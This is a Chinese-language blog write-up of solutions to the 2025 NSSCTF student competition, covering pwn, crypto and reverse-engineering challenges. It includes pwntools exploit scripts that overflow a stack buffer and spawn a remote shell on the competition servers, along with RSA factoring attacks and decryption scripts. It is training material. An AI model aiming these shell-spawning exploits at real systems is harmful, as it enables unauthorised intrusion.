什么都没有欸,而且题目说不要用libc

你看第一个这边还有一个buf,是无栈溢出漏洞的

而且ctrl+s搜索之后发现这一块是可写的,我们不需要执行,只要可写就好了

那事情就简单了,先打断点,直接往这边写/bin/sh

然后再往下走,走到栈溢出漏洞所在处,构造栈溢出漏洞,然后32位传参即可

好我们直接写代码

需要的地址:

bss_addr=0x0804A080

system=0x080483D0

OK了,写代码去了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context.log_level="debug"
io=remote("node5.anna.nssctf.cn",25750)

bss_addr=0x0804A080
system=0x080483D0
padding=0x1C+4

io.recvuntil(b"name")
io.sendline(b"/bin/sh")

io.recvuntil(b"now it's your play time~")
payload=b"a"*padding+p32(system)+p32(0)+p32(bss_addr)
io.sendline(payload)

io.interactive()

得到flag:nssctf{L3arn_R0p_1s_3@5y_but_k33p_is_c00l}

ezcmp

保护:

一道动调题

给了一个c

是一串加密的代码,这边strcpy会把后边那一串传给buff

然后又去加密buff

最后是用buff和我们的输入去比较,只要相同成功就有system(“/bin/sh”);了

为什么说是一道动调题,主要还是因为这边加密的内容其实是固定的

所以我们是可以动调结束看看最后的加密内容的,然后直接输入加密结果去和加密结果比,肯定一模一样啊

1
2
3
4
5
chmod 777 ezcmp改一下属性先,不然跑不起来
gdb ezcmp
break main打断点
run跑起来
n一直步过

一直过到这个strncmp的比较环节

这边可以看到buff的地址,就在下边一行

我们要看的自然是这个下边的内容

直接输入x/10gx 0x404100可以查看0x404100即往下数的 ,10个地址的数据(多点,避免看少了)

OK啊我们直接复制粘贴payload进去就是了

0x144678aadc0e4072 0x84b6e81a4c7eb0e2

0xf426588abcee2052 0x0000c8cb2c5e90c2

这边打上断点

直接写代码

1
2
3
4
5
6
7
8
9
from pwn import *
context.log_level="debug"
io=remote("node5.anna.nssctf.cn",21164)

io.recvuntil("GDB-pwndbg maybe useful\n")
payload=p64(0x144678aadc0e4072)+p64(0x84b6e81a4c7eb0e2)+p64(0xf426588abcee2052)+p64(0x0000c8cb2c5e90c2)
io.sendline(payload)

io.interactive()

得到flag:nssctf{Yo0ur_ggddddb_1s_o00okkk!}

不是哥们ret2text还阴啊?

保护:

这个保护怕是确实有点阴

开了影子栈和间接分支跟踪

find_flag

保护:

64位,这特么啥??全开了??

先ida看看吧

直接shift+f12,别的不知道,这个函数有点意思,只要运行这个函数就什么都有了

sub_1229

由于保护全开,所以我们必须一个个绕过,首先是还原金丝雀Canary(说起来上边画的是不是就是金丝雀啊。)

(有点太难了,后边再看吧)

crypto

crypto1

这下和crypto2又差不多了

由于e1和e2相乘为3087,因式分解如下,因此应该一个为9一个为343,满足互质,可以利用共模攻击得到m1

得如下(哪个是9哪个是343不知道,还要试两次)

这边引入一个gmpy2.gcdext的函数

由于我们判断出了e1和e2,因此直接利用gcdext搞出三元组

那么返回的后两个值x与y正好拿来分别做次方操作

m=(pow(flag1,x,n)*pow(flag2,y,n))%n

即得m,再看得到flag

读取失败,似乎是出了问题

或许是因为e1和e2不一定就是这样子,那我们尝试别的可能即可,和下边e的学问一样后边开根号也行

全部输出

找到了flag

NSSCTF{d64dba66-b608-4255-b888-0b0f25c2f90e}

crypto2

不是跟crypto4也太像了吧

n放到yafu试试看yafu-x64 factor(103606706829811720151309965777670519601112877713318435398103278099344725459597221064867089950867125892545997503531556048610968847926307322033117328614701432100084574953706259773711412853364463950703468142791390129671097834871371125741564434710151190962389213898270025272913761067078391308880995594218009110313)

不要残害yafu了实在太大了,我ai跑完了还没转完yafu

由于我们几乎知道一切的内容,因此可以利用欧几里得算法解得

这边是利用的欧几里得算法进行的共模攻击

详情见谢晨的,写的挺好的

直接就能解得答案NSSCTF{xxxxx******xxxxx}

crypto4

打开来发现是rsa的题目

根据这条我们可以得知p为q的下一个素数,又知道pq的乘积n的数值,因此可以利用费马分解法解得p和q

写了个费马分解法的代码,直接写入n即可

p = 7221289171488727827673517139597844534869368289455419695964957239047692699919030405800116133805855968123601433247022090070114331842771417566928809956045093

q = 7221289171488727827673517139597844534869368289455419695964957239047692699919030405800116133805855968123601433247022090070114331842771417566928809956044421

然后开始老老实实一步步逆推吧

目前是flag1 = pow(m1,e,n),已知flag1,e,n,然后p和q也求出来了,求m1

写个代码,填入数字,得到m1为1588629655225338269723988396112253

再根据这条,逆推出flag

解得答案为NSSCTF{no_why}

crypto6

可以看到这边是将var先base64,然后32,最后16,三重压缩

那我们翻着来,先16解码,再32,再64即可

16解码之后为JZLVK6CNKRATKT2ENN2FUR2NGBGXSMDYLFWVC6SMKRAXOWLKKF2E6VCBO5HVISLXJZVEKMKPI5NGY===

然后32解码为NWUxMTA5ODktZGM0My0xYmQzLTAwYjQtOTAwOTIwNjE1OGZl

最后64解码为5e110989-dc43-1bd3-00b4-9009206158fe

所以答案为NSSCTF{5e110989-dc43-1bd3-00b4-9009206158fe}

crypto7

69f7906323b4f7d1e4e972acf4abfbfc

md5解密出md5yyds即可

happy

看起来像rsa

下边方程组解出p和q即可

python解得

p = 1158310153629932205401500375817

q = 827089796345539312201480770649

解得m为34852863801141329469000105527941672153469

flag为flag{happy_rsa_1}

base??

这不一眼改表吗

JKLMNOxyUVzABCDEFGH789PQIabcdefghijklmWXYZ0123456RSTnopqrstuvw+/=

改成这个表直接做

NSSCTF{D0_Y0u_kNoW_Th1s_b4se_map}

Bigrsa

这题也简单,从代码可以看到给了n1和n2,计算它们的最大公约数(GCD),发现共享一个素因子 p。然后分别计算 n1n2 的欧拉函数,并使用扩展欧几里得算法求私钥 d1d2。最后,按加密顺序的逆序进行两次解密,恢复出原始消息 m,并转换为字节串得到 flag。

然后就解得答案为

NSSCTF{qSccmm1WrgvIg2Uq_cZhmqNfEGTz2GV8}

拟态签到题

一看就是base64格式

解得flag{GaqY7KtEtrVIX1Q5oP5iEBRCYXEAy8rT}

这也太简单了,怎么可能才24解

Vigenère

题目已经告诉我们这是Vigenère密码了

维吉亚娜密码加密含义如下,文件正好有2,应该是一个内容一个密钥

密钥被吃掉了

当然这题也同样可以用这种网站直接爆破出密码和明文

爆破出密钥为csuwangjiang

得到明文,因此答案为NSSCTF{Whooooooo_U_Gotcha!}

Is this only base?

上边很像base64,结合下边的23,还有上边=的位置,我怀疑是栅栏23

果然,W型栅栏密码中分为23栏的时候正好==都在最后

解得如上,似乎不太对,看上去就像凯撒,毕竟已经有形了,至于偏移我猜也是23

果不其然

所以答案即为NSSCTF{LeT_Us_H4V3_fU0!!!!!}

md5的破解

意思是下边这个漏了这些,但是md5算出来应该是跟下边这个496603d6953a15846cd7cc476f146771一样的

LitCTF{md5can??3de?rypt213thoughcr?sh}

这样子就好了(这ai少写个cr啊)

NSSCTF{md5can123dexrypt213thoughcrpsh}

yafu(中级)

看得出来,要想知道flag还是经典的long_to_bytes(m)

先了解题目的yafu是什么吧

简单的说yafu用于自动整数因式分解,在RSA中,当p、q的取值差异过大或过于相近的时候,使用yafu可以快速的把n值分解出p、q值,原理是使用Fermat方法与Pollard rho方法等。

先下好,可以创个桌面快捷方式

yafu使用教程如上,尝试yafu分解本题的n

yafu-x64 factor(15241208217768849887180010139590210767831431018204645415681695749294131435566140166245881287131522331092026252879324931622292179726764214435307)

解出来那么多

已知c = pow(m,e,n),已知c、e、n,又已知yafu分解n得到输出如下,即可写出python代码求m值(下边的代码方便看所以我把cen的赋值代码删了,真的要写的话可以要有的啊!)

答案为NSSCTF{Mu1tiple_3m4ll_prim5_fac7ors_@re_uns4f5}

factorb(中级)

就是为我们介绍了第二种分解n的方案(真不愧是新生赛啊)

http://www.factordb.com/

原来这个是个网址吗,也好,一个线上一个线下

还是相同步骤,与上题一模一样

yafu也能出,就是有点慢

填入上题的代码即可275127860351348928173285174381581152299和319576316814478949870590164193048041239

代码不写了,一模一样,就这样子解得flag为NSSCTF{factordb!!!}

e的学问


打开看看

这。。是不是全知道了?

但是这边由于e和fn不互质,因此无法运行

只有先除以2,先使其互质(这边很好看出来,如果不行的话还得写代码算一下最大公因数再去除)

因为这边的e除以了2,所以其实是d大了一个平方啊

这边想要m回去必须开平方,我们再将整数转化为平方根即可

NSSCTF{e_1s_n0t_@_Prime}

childRSA

给了nce

看看这边在干什么,显示分别独立生成了两个2048位的p和q

每一次都是先给个2,然后随便抽个小质数(前一万个)与其相乘,乘完比比看有没有到2048位,没到就继续

一直到等于或者超过2048位,这个时候就开始看n+1是不是质数了,如果是输出n+1,如果不是就重新再来一次,一直到找到一个n+1是素数为止,此时输出n+1

直接爆破爆破一年估计都出不来

这边引入一种算法叫Pollard’s p-1,大整数分解算法

前置知识,超级符合这道题

你看这个p和q正好全都是光滑数,但是不太清楚这个p和q是几smooth数

我们的思路一直都是去求n的因式分解,就是求出n的因子

我们又知道,如果存在一个和n不互质的s,那它肯定和n有公因数啊

通过gcd(s,n)还能求出这个最大公因数

假设有一个p,是n未知的素数,我们直接得到p很难,那我们可以先构造出有这个p因数的s

我们知道x=1(modp)的话,gcd(x-1,n)是n的一个因子

对比费马小定理,a**(p−1)≡1(modp)

对比就知道了,我们知道p就是知道x了

p直接知道很难,但我们可以间接知道p-1的倍数,通过这个构造即可,证明如下

B必须满足”大于p-1的所有因子”,如果p−1的因子很大,选择小的B会造成算法求解失败,选择足够大的B会增加算法成功的概率,但那样的话算法的复杂度不比试除法好

可以优化一下

脚本如上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from Cryptodome.Util.number import isPrime, sieve_base as primes, long_to_bytes
import gmpy2

e = 0x10001
n = 32849718197337581823002243717057659218502519004386996660885100592872201948834155543125924395614928962750579667346279456710633774501407292473006312537723894221717638059058796679686953564471994009285384798450493756900459225040360430847240975678450171551048783818642467506711424027848778367427338647282428667393241157151675410661015044633282064056800913282016363415202171926089293431012379261585078566301060173689328363696699811123592090204578098276704877408688525618732848817623879899628629300385790344366046641825507767709276622692835393219811283244303899850483748651722336996164724553364097066493953127153066970594638491950199605713033004684970381605908909693802373826516622872100822213645899846325022476318425889580091613323747640467299866189070780620292627043349618839126919699862580579994887507733838561768581933029077488033326056066378869170169389819542928899483936705521710423905128732013121538495096959944889076705471928490092476616709838980562233255542325528398956185421193665359897664110835645928646616337700617883946369110702443135980068553511927115723157704586595844927607636003501038871748639417378062348085980873502535098755568810971926925447913858894180171498580131088992227637341857123607600275137768132347158657063692388249513
c = 26308018356739853895382240109968894175166731283702927002165268998773708335216338997058314157717147131083296551313334042509806229853341488461087009955203854253313827608275460592785607739091992591431080342664081962030557042784864074533380701014585315663218783130162376176094773010478159362434331787279303302718098735574605469803801873109982473258207444342330633191849040553550708886593340770753064322410889048135425025715982196600650740987076486540674090923181664281515197679745907830107684777248532278645343716263686014941081417914622724906314960249945105011301731247324601620886782967217339340393853616450077105125391982689986178342417223392217085276465471102737594719932347242482670320801063191869471318313514407997326350065187904154229557706351355052446027159972546737213451422978211055778164578782156428466626894026103053360431281644645515155471301826844754338802352846095293421718249819728205538534652212984831283642472071669494851823123552827380737798609829706225744376667082534026874483482483127491533474306552210039386256062116345785870668331513725792053302188276682550672663353937781055621860101624242216671635824311412793495965628876036344731733142759495348248970313655381407241457118743532311394697763283681852908564387282605279108

num = 1
for i in primes:
num *= i
p = gmpy2.gcd(gmpy2.powmod(2, num, n) - 1+n, n)
q = n // p
d = gmpy2.invert(e, (p - 1) * (q - 1))
m = gmpy2.powmod(c, d, n)

print(long_to_bytes(m))

得到flag:

NSSCTF{Th3r3_ar3_1ns3cure_RSA_m0duli_7hat_at_f1rst_gl4nce_appe4r_t0_be_s3cur3}

Crazy_Rsa_Tech

Reverse

NSSCTF2025入门题目-Base64

下载下来是个exe文件,放入ida看看

不用那么麻烦,直接shift+f12,直接看

可以看到编码表和内容

我们直接做改表的base64即可

NHPNOt5VdCixcy5JclLJLVHyLyauLMmC3CWeKl4lPRC/

/T+US9VR8WQ7XP6YO5ZN4aM3bL2cK1dJ0eIzfHygGxhFwiEvjDukCtlBsmArnqop

得解(补习完就是不一样,看看之前写的太啰嗦了,直接删掉)

NSSCTF{Kind_of_different_Base64}

NSSCTF2025入门题目-Xor

先die

64位,放ida即可

搜索到核心函数即可

就是在和122进行异或操作然后不断和后边的enc_0对比

长度为28

我们动调看看

可以看到输入存在了v4

可以写代码去异或结果,这边不可以直接提取内容然后patch进输入,因为是一个个异或完直接检验的,蛮麻烦的

提取一下

提取

然后编写代码,一一与0x7A异或

小小脚本,得到答案

NSSCTF{Xor_is_basic_reverse}

NSSCTF2025入门题目-Rc4

真的正好和培训内容一模一样,老师不会就根据这个顺序教的吧

直接定位,Rc4核心内容还是异或,密钥已经看见了SakuraiCora

可以看到Rc4的算法

这是标准Rc4,咱直接脚本做也行

密文就在这边,全部填入脚本即可

NSSCTF{y0u_solved_Rc4!}得解

NSSCTF2025入门题目-UPX

upx加壳,直接upx.exe -d 地址 脱壳即可

脱好了

main部分在这边,输入19位

最后是把v4在和v6对比,一开始就是在异或而已,跟上题也差不多

这边直接提取然后异或去就行

NSSCTF{this_is_upx}得解

NSSCTF2025入门题目-ida的使用

ida的使用

上来肯定是定位main函数啦,我们ctrl+F搜一下我们main,然后反编译

flag1就出来了,是教我们f5反编译

NSSCTF{

然后这边给提示了shift+f12,看看字符串就能得到flag2

flag2:IDA_1s_4_VeRy_Impo

来看看flag3的内容

就是教了一些快捷键,我们直接tab加空格,可以看见一串十六进制,对着这个按R即可

注意这边是小端序的,是反过来的

flag3:rTant_t0ol_iN_

flag4让我们去搜函数吗?

果然有一个

这边我们进汇编可以看到这边在print nothing,如果能print出flag4就好了

即如果call这个函数就好了,我们打断点右键修改一下

回车修改,动调

动调又变了,继续修改

此时动调一直到我们打断点的地方,再步过即可,输出了flag4

总体还挺好玩的

flag4:rever5e_en8ine3ring}

NSSCTF{IDA_1s_4_VeRy_ImporTant_t0ol_iN_rever5e_en8ine3ring}

NSSCTF2025入门题目-认识asm

不能F5反编译了怎么办,那就只能乖乖一个个汇编看了

真是有够干净的,真的纯汇编了

第一块上来先声明了函数enc为公共符号,随后函数开始

首先两个push拿来保存基指针和基址寄存器,而后sub分配栈空间

总体这一块是确立了一个初始环境,把输入的flag指针rcx存入局部变量flag,也就是rbp+10h的位置

随后初始循环变量i再跳到条件变化处,准备开始循环

具体内容如上

接下来进入循环

这一部分就是循环体,首先读取第i字节和第i+1字节的数值

先利用movzx读取第i字节,存到eax,又mov暂存到了ecx

再利用lea使得rdx=i+1,从而add后eax即为第i+1的值,这个时候movzx eax就能把第i+1的值放到eax里

读完这两个字节之后,选择了把第i+1个字节进行+1操作

之后机型异或计算,第i字节和(第i+1个字节+1)异或

异或完重新放到第一个去,不断循环

循环体内容如上

最后第三步就是判断什么时候断,等flag搞完,最后俩字节不变,就断了,然后最后enc函数加密结束

所以我们搞清楚了这个部分的核心内容,最核心的其实就是第二部分的循环加密

得到的enc是正着输出的,所以我们需要反着来,+1变-1

总体不难,只不过一个异或罢了,我们知道第一位是NSSCTF的N

写得代码

NSSCTF{ASM_is_crucial_to_Binary~}

NSSCTF2025入门题目-Unity

我们可以在dnspy搜到这个后半部分,但剩下的在dnspy是找不到的

这边利用Ce很容易就可以改成100

发现中间少了一块,在ce搜索即可

所以最后答案是NSSCTF{y0u_kn0w_reverse_unity}(这边没看出来少了一段然后交太多次了,现在交不了了,无语了)

NSSCTF2025入门题目-Debug

这边可以直接拿windows动调啊

主函数有提示,让我按f2对第19行,其实也就是打断点

在那边打完断点直接搜字符串即可,简单题

NSSCTF{you_know_debug!!}

NSSCTF2025入门题目-Maze

这边在move_player我们可以看到函数

主要意思其实是我们从(1,1)要走到(8,8),是个很小的地图

接下来就是找迷宫

直接搜就好了

把迷宫搞下来

这边直接提取会发现有400个内容,但是根据题意不会那么大

应该是个10*10的才对

这边应该是以四字节命令一位

最后拆出来大致长下边这样子,十个一行排开

0000000000011011101001001010100111101110000100001001110111100100010000011111111000000000100000000000

我们从(1,1)开始,也就是说这个1是路,0是墙

ssddssaassddddddds

OK啊,算个md5就好了

当然了,这题你要是用脚本也一样,跟moectf的一样其实,moectf的难一点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from collections import deque

maze = [
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 1, 1, 0, 1, 1, 1, 0, 1, 0],
[0, 1, 0, 0, 1, 0, 1, 0, 1, 0],
[0, 1, 1, 1, 1, 0, 1, 1, 1, 0],
[0, 0, 0, 1, 0, 0, 0, 0, 1, 0],
[0, 1, 1, 1, 0, 1, 1, 1, 1, 0],
[0, 1, 0, 0, 0, 1, 0, 0, 0, 0],
[0, 1, 1, 1, 1, 1, 1, 1, 1, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 1, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
]

start_y, start_x = 1, 1
end_y, end_x = 8, 8
directions = [
(-1, 0, 'w'),
(0, -1, 'a'),
(1, 0, 's'),
(0, 1, 'd')
]

queue = deque([(start_y, start_x, "", {(start_y, start_x)})])
found = False
path_found = ""

while queue:
y, x, path, visited = queue.popleft()
if (y, x) == (end_y, end_x):
path_found = path
found = True
break
for dy, dx, char in directions:
ny, nx = y + dy, x + dx
if 0 <= ny < 10 and 0 <= nx < 10 and maze[ny][nx] == 1 and (ny, nx) not in visited:
new_visited = visited.copy()
new_visited.add((ny, nx))
queue.append((ny, nx, path + char, new_visited))

print(path_found)

都一样其实

flag:NSSCTF{d9cce3801cfe941ee6e9f745e8799db0}

NSSCTF2025入门题目-Z3

直接看main函数

这个怕就是我们要算的方程式了吧。。让用&&分割的每一段都是1才行啊

最后输入的通过一系列运算会作为这个cul()函数的参数a1,这个a1是一个超大数组

其实意思就是我解出来的就是我的输入,然后这个输入就是flag

说要z3解,那就z3解,主要是写进去这个方程式整蛮麻烦

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from z3 import *
v0, v1, v2, v3, v4, v5, v6, v7, v8, v9 = Ints('v0 v1 v2 v3 v4 v5 v6 v7 v8 v9')

s = Solver()

s.add(2*v7 + 8*v6 + 8*v5 + 2*v4 + 4*v3 + 5*v1 + 2*v0 + 6*v2 + v8 + 5*v9 == 3976)
s.add(v5 + 9*v3 + 7*v2 + 5*v1 + 3*v0 + 7*v4 + 4*v6 + 6*v7 + 8*v8 + 5*v9 == 5265)
s.add(7*v8 + 2*v6 + 6*v4 + 7*v3 + 7*v2 + 3*v1 + 8*v0 + 5*v5 + 4*v7 + 9*v9 == 5284)
s.add(7*v6 + 5*v5 + 6*v4 + 3*v3 + 9*v0 + 6*v1 + 4*v2 + 9*v7 + 8*v8 + 7*v9 == 5925)
s.add(7*v8 + 8*v6 + 6*v4 + v2 + 4*v1 + 3*v0 + 2*v3 + 5*v5 + 2*v7 + 3*v9 == 4048)
s.add(3*v8 + 9*v7 + 7*v6 + 4*v4 + 4*v3 + 5*v0 + 8*v1 + 6*v2 + 4*v5 + 7*v9 == 5072)
s.add(5*v7 + 2*v3 + 2*(v0 + v1) + 3*v2 + v4 + 7*v5 + 2*v6 + 3*v8 + 2*v9 == 2813)
s.add(3*v8 + 5*v7 + 7*v6 + 3*v5 + 7*v4 + 7*v1 + v0 + 7*v2 + 8*v3 + 6*v9 == 5004)
s.add(2*v8 + 5*v6 + 5*v5 + 5*v4 + 9*v3 + 5*v0 + 9*v1 + v2 + 5*v7 + v9 == 4490)
s.add(6*v8 + 7*v7 + 5*v6 + 6*v3 + 4*v1 + 6*v0 + 8*v2 + 6*v4 + 8*v5 + 7*v9 == 5936)

if s.check() == sat:
m = s.model()
result = [m[var].as_long() for var in [v0, v1, v2, v3, v4, v5, v6, v7, v8, v9]]
print("答案是")
for i, val in enumerate(result):
print(f"a1[{i}] = {val}")
else:
print("无解")

马上就解出来了

这就是v6,也就是flag

我们去转一下进制

90519511511110811810111433

Z3_solver!

然后这边一开始有这样子一步

前边应该七位就是NSSCTF{

所以答案是NSSCTF{Z3_solver!}

NSSCTF2025入门题目-Tea

其实是没什么好说的,就是一个tea加密罢了

我们直接按脚本改数字即可

看看加密逻辑,这边直接就写了tea_encrypt明目张胆啊

写的还是蛮干净的

直接改即可

这都直接放着了

直接改好就成

NSSCTF{Drink_a_cup_of_tea!!}

NSSCTF2025入门题目-Vm~

直接先定位主函数

首先输入是22位长

然后每一位会分别按照下边的opcode_1进行分类

正好22个

分为四类后分别进行不同的操作,后边再和我下边的这个data_start比较

我们需要一路以data_start逆推,得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
enc = [  0x67, 0x29, 0x29, 0x2A, 0x6D, 0x46, 0x01, 0x03, 0x17, 0x8E, 
0x78, 0x5A, 0x15, 0x53, 0x0C, 0x66, 0x7D, 0x46, 0x0C, 0xDA,
0x3A, 0x07]
x = [1, 3, 3, 2, 1, 5, 3, 3, 2, 1, 1, 2, 3, 2, 3, 4, 1, 2, 3, 4, 1, 3]

for i in range(22):
if(x[i]==1):
enc[i] -= 25
elif(x[i]==2):
enc[i] +=25
elif(x[i]==3):
enc[i] ^= 0x7A
elif(x[i]==4):
enc[i] = enc[i]//2

for i in enc:
print(chr(i), end='')

(这个是自己写的了喔)

NSSCTF{y0u_solv3d_vm!}

NSSCTF2025入门题目-JS太鼓达人

太鼓达人,进去看看

体验了一下至少内部不存在任何flag迹象,因为是网页游戏所以也用不了我们的ce修改

那只能先尝试看看源代码了

在源代码最后可以看到有个js文件

搜索flag关键词竟然能看到enc和key等内容,看来flag是加密存储的

看得出来就是个rc4而已

多了个和0x7a异或的操作罢了

flag_xor = bytes(b ^ 0x7a for b in flag)

key是Touhou

1
2
3
4
5
6
7
8
9
10
11
from Crypto.Cipher import ARC4
key = b"Touhou"
RC4 = ARC4.new(key)
enc = [0x82, 0x55, 0xdc, 0x7f, 0xfe, 0xde, 0x60, 0x80, 0x6e, 0xa3,
0x2c, 0x15, 0x0d, 0xa2, 0xde, 0xd9, 0x6a, 0xbb, 0x28, 0xcc, 0x80]
enc = bytes(enc)

flag = RC4.decrypt(enc)
flag_xor = bytes(b ^ 0x7a for b in flag)

print(flag_xor)

NSSCTF{Taiko_Master!}

NSSCTF2025入门题目-DES

搞不懂为什么最后几天还上题,很简单啊而且

打开main函数一看,Des都写在脸上了

v16是密钥,v10是密文

因为DES本身就是个对称加密的算法

所以我们有key就可以直接解密了

然后大概拼凑一下很容易得到flag是:NSSCTF{Bad_DES!}

拿了三血

NSSCTF2025入门题目-AES

main函数直接写了AES解密

这边审计代码后可以大致发现是在把加密后的v4和v6对比,所以其实v6就是密文,而密钥就是v5

但是这边v5和v6被硬编码为64位整数

我们考虑小端序存储,转换为字节序列

v5=48 61 72 75 6B 61 7A 65 53 75 6E 73 68 69 6E 65

v6=02 CA EA 0A 89 7B 27 95 55 80 93 10 C9 C9 B3 6A

得到flag:NSSCTF{H4rd_AES}

NSSCTF2025入门题目-花指令

导入pdb就直接导入啊?打开不就自动读取了吗

32位

这甚至会标出来是花指令

花就在这边,是个跳转陷阱,会调到个每意义的地方,我们直接nop掉

第二朵花

第四朵花

第五朵花,callret组合

这边的花指令好就好在没了会有回显

这边是第一部分,把这个和ciallo异或

不行我还是太差了reverse这块


2025SWPU-NSSCTF
https://mei-you-qian.github.io/2025/11/02/2025NSSCTF/
作者
Meiyouqian
发布于
2025年11月2日
许可协议